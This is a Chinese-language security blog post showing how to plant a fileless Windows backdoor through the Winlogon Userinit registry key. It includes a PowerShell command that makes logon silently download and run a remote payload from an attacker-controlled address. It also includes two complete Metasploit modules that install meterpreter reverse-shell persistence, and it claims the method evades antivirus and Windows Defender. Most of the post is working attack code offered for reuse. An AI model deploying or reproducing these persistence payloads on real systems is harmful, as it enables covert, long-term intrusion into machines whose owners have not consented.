利用userinit注册表键实现无文件后门

 

前言

前段时间看了3gstudent师傅的文章,这篇文章中提到使用Logon Scripts实现登陆时运行脚本,同时有一定的免杀效果。复现的过程中我发现这种方法需要在磁盘上留下文件,隐蔽性不佳。通过查找相关资料,我测试了另一个注册表键,使用此键留下的后门同样可以绕过某些杀软以及Windows Defender。如果使用它启动powershell,还可以传递参数,就能够留下一个无文件的后门。

 

相关注册表键

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit这个注册表键的作用是在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。

 

测试

测试环境:Windows Server 2008R2 x64

  • 使用msf的模块web_delivery,target设置为psh

  • 更改注册表键值

  • 重新登陆账户

 

Powershell实现

Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe -w hidden -noexit -nop  -c $T=new-object net.webclient;$T.proxy=[Net.WebRequest]::GetSystemWebProxy();$T.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $T.downloadstring('\\192.168.143.129\bfvaNe\test.dll');"

注:powershell反弹shell的payload参照msf中的web_delivery

 

缺陷

需要管理员权限,不够通用

 

总结

logon scripts需要组策略允许才能执行脚本, 权限较高的话可以试试使用userinit作为一种无文件后门的方式最后附上msf模块

  • userinit_persistence.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##require 'msf/core/payload_generator'
require 'msf/core/post/windows/powershell'class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Powershell
  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Priv
  
​
  def initialize(info={})
    super(update_info(info,
      'Name'                 => "Registry Key Userinit Persistence Module",
      'Description'          => %q{
         This module sets registry key 'userinit' as a custom powershell. command or payload.
      },
      'License'              => MSF_LICENSE,
      'SessionTypes'         => ['meterpreter'],
      'Platform'             => ['windows'],
      'Author'               => [
         'Exist@Syclover'
        ]
    ))
​
    register_options([
        OptString.new('PAYLOAD',   [false, 'The Payload you want to use.', "windows/meterpreter/reverse_tcp"]),
        OptString.new('LHOST', [false, 'IP of host that will receive the connection from the payload.', '192.168.1.1']),
        OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4444]),
        OptEnum.new('METHODS', [ true, 'You can choose what method to use, default is persistence.', 'persistence', ['persistence', 'psh_cmd']]),
        OptString.new('SCRIPT', [false, 'The powershell command or script file.', 'whoami'])
    ])
​
  end
​
  def create_payload(pay_name, host, port, opts = "")
    payload = framework.payloads.create pay_name
    payload.datastore['LHOST'] = host
    payload.datastore['LPORT'] = port
    
    if not opts.blank?
      opts.split(",").each do |o|
        opt,val = o.split("=",2)
        pay.datastore[opt] = val
      end
    end
    payload = cmd_psh_payload payload.generate, payload.arch.first, { :remove_comspec => true, :encode_final_payload => true, :method => 'reflection' }
    
    payload
  end
​
  def run
    raise "Powershell not available" if ! have_powershell?
​
    unless is_admin?
      print_error "You must be the administrator."
      return
    end
​
   
    unless session.arch == sysinfo['Architecture']
      session.run_cmd "run post/windows/manage/archmigrate"
    end
    
    pscmd = 'Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,'
    case datastore['METHODS']
      when 'persistence' then 
        payload = create_payload datastore['PAYLOAD'], datastore['LHOST'], datastore['LPORT']
        psh_exec  pscmd + payload + '"'
        print_good "Successful!"
      when 'psh_cmd' then
         script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS']))
         psh_exec pscmd + 'powershell -w hidden -c '+ script + '"'
         print_good 'Finished!'
    end
    
  end
end

p.s. 写这个模块的时候,由于对注册表不熟悉所以踩到了坑。举个例子,如果是x86的meterpreter运行在x64的目标系统上,访问注册表的HKLM\SOFTWARE,会被重定向到HKLM\SOFTWARE\WOw6432Node,这样的话后门就不能正常执行。我找到的API都没有能够禁止重定向的,而尝试用session.run_cmd执行meterpreter默认的reg命令时,-w 64在我的机器上也是不起作用的。最终我只能用比较粗暴的方法,判断meterpreter与目标架构是否相同,不相同的话调用archmigrate模块进行迁移,然后执行命令。不过这样有些时候还是有bug,如果出现bug的话请师傅们手动调整meterpreter架构。

  • logonscript_persistence.rb*

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##require 'msf/core/post/windows/powershell'class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Powershell
  include Msf::Post::File
  include Msf::Post::Windows::Registry
​
  def initialize(info={})
    super(update_info(info,
      'Name'                 => "Logon Script Persistence Module",
      'Description'          => %q{
         This module uses 'Logon Script' for  long-lasting control.
      },
      'License'              => MSF_LICENSE,
      'Platform'             => ['windows'],
      'SessionTypes'         => ['meterpreter'],
      'Author'               => [
          'Exist@Syclover'
        ]
    ))
​
       register_options([
          OptString.new('PAYLOAD',   [false, 'The Payload you want to use.', "windows/meterpreter/reverse_tcp"]),
          OptString.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']),
          OptInt.new('LPORT', [true, 'Port for Payload to connect to.']),
          OptString.new('PATH', [true, 'The path to write bat file, include the file name.'])
       ])
  end
 
  def gen_registry(data)
    registry_createkey('HKCU\Environment')
    registry_setvaldata('HKCU\Environment', 'UserInitMprLogonScript', data, 'REG_SZ')
 
    res = registry_getvaldata('HKCU\Environment', 'UserInitMprLogonScript') 
    if res == data
      true
    else 
      false
    end
  end
​
  def create_payload(pay_name, host, port, opts = "")
    payload = framework.payloads.create pay_name
    payload.datastore['LHOST'] = host
    payload.datastore['LPORT'] = port
    
    if not opts.blank?
      opts.split(",").each do |o|
        opt,val = o.split("=",2)
        pay.datastore[opt] = val
      end
    end
    payload = cmd_psh_payload payload.generate, payload.arch.first, { :encode_final_payload => true, :method => 'reflection' }
    
    payload
  end
​
  def run
    path = datastore['PATH']
    payload = create_payload datastore['PAYLOAD'], datastore['LHOST'], datastore['LPORT']
    
    write_file(path, payload)
        
    unless gen_registry(path)
      print_error "Can't set registry key 'HKCU\\Environment\\UserInitMprLogonScript', please set it manually."
      return 
    end
  end
end

p.s. 由于运行脚本需要组策略允许,因此如果模块运行成功,却没有弹回shell的话请检查组策略

 

参考

http://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#grefhttps://3gstudent.github.io/3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence/https://technet.microsoft.com/en-us/library/cc939862.aspx

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

相关文章

发表评论

电子邮件地址不会被公开。